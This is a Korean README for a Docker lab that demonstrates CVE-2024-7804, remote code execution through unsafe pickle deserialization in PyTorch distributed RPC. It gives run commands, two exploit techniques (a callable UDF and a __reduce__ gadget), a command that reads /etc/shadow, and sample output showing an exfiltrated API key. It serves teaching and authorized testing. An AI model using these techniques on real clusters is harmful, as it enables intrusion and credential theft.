
자체 포함된 Docker 랩과 Python 익스플로잇으로, PyTorch의 분산 RPC에서 안전하지 않은 pickle 역직렬화(CWE-502)를 통한 치명적인 RCE인 CVE-2024-7804를 시연합니다. 두 가지 익스플로잇 기법과 수정 지침을 포함합니다.
CVE-2024-7804를 위한 독립형 실습 환경 및 익스플로잇: 신뢰할 수 없는 데이터의 안전하지 않은 역직렬화(CWE-502)를 통한 PyTorch 분산 RPC 프레임워크(torch.distributed.rpc)에서의 원격 코드 실행.
torch <= 2.3.1torch/distributed/rpc/internal.py — _InternalRPCPickler.deserialize()참고: 이 권고는 이후 유지관리자와 Red Hat에 의해 "알려진 기능"으로 철회/거부되었습니다 — PyTorch RPC는 설계상 신뢰된 피어(trusted-peer) 시스템입니다. 그럼에도 이 실습 환경은 보고된 문제에 대한 정확하고 실습 중심의 데모입니다.
모든 RPC 호출은 PythonUDF namedtuple(func, , )을 전송합니다. 수신 노드에서는 로 재구성되며, 허용 목록(allowlist)이나 무결성 검사가 없습니다:
argskwargspickle.Unpickler# torch/distributed/rpc/internal.py (torch 2.3.1)
def deserialize(self, binary_data, tensor_table):
...
unpickler = _unpickler(io.BytesIO(binary_data)) # _unpickler = pickle.Unpickler
ret = unpickler.load() # <-- 공격자가 제어하는 pickle
...
RPC "월드(world)"에 참여할 수 있는 모든 피어는 노드가 임의 코드를 실행하도록 만들 수 있습니다 — load() 중에 발동하는 pickle __reduce__ 가젯을 통해서든, 노드가 무엇을 실행할지 제한하는 것이 없으므로 단순히 import 가능한 호출 가능(callable) 객체를 UDF로 지정하는 방식으로도 가능합니다.
CVE-2024-7804/
├── docker-compose.yml # 피해자 + 공격자, 단일 브리지 네트워크
├── lab/
│ ├── Dockerfile # python:3.11-slim + torch 2.3.1 (CPU) — 취약 이미지
│ └── server.py # 피해자: 피어를 기다리는 신뢰하는 RPC 워커
└── exploit/
└── exploit.py # 공격자: 월드에 참여하여 피해자에게 RCE 실행
Compose 플러그인이 포함된 Docker. CPU 전용(GPU 불필요), amd64 및 arm64에서 동작합니다.
# 1. 취약한 피해자 노드 시작 (rank 0, 피어 대기)
docker compose up --build -d victim
# 2. 익스플로잇 실행 (기본값: 피해자에서 명령 실행 후 stdout 수신)
docker compose run --rm attacker
# 3. 모든 것 종료
docker compose down
[attacker] ===== command output returned from victim =====
uid=0(root) gid=0(root) groups=0(root)
victim
--- exfiltrated secret ---
CLUSTER_API_KEY=sk-live-9c1f4b7e-DO-NOT-LEAK
[attacker] ===== end output =====
공격자는 피해자에서 root 권한으로 명령을 실행하고, 절대 노출되어서는 안 되는 파일을 외부로 유출했습니다.
| 명령 | 설명 |
|---|---|
docker compose run --rm attacker | subprocess.check_output을 UDF로 전송합니다. 피해자가 명령을 실행하고 stdout을 반환합니다 — 단일 호출로 RCE 및 데이터 유출. |
docker compose run --rm attacker python exploit.py --reduce | __reduce__가 피해자가 페이로드를 역직렬화하는 동안 os.system을 실행하는 객체를 전송합니다 — UDF가 호출되기 전에 역직렬화 시점에 RCE 발생(CWE-502의 핵심). |
사용자 정의 명령:
docker compose run --rm attacker python exploit.py --cmd "cat /etc/shadow"
--reduce의 경우 명령이 피해자에서 실행되므로, 피해자 쪽에서 확인하세요:
docker compose run --rm attacker python exploit.py --reduce --cmd "id"
docker compose logs victim # 출력이 피해자(VICTIM) 로그에 나타납니다
--reduce에 대한 피해자 로그는 torch/distributed/rpc/internal.py의 약 207번째 줄(python_udf.func(...))에서 traceback으로 끝납니다 — 페이로드가 안전하지 않은 역직렬화기에 의해 이미 재구성되고 실행되었음을 증명합니다.
29500)를 신뢰할 수 없는 네트워크에 절대 노출하지 마세요.교육 및 승인된 보안 테스트 전용입니다. 이 실습 환경은 의도적으로 취약하게 설계되었습니다 — 배포하지 말고, 이 실습 환경에 대해서만 익스플로잇을 실행하세요.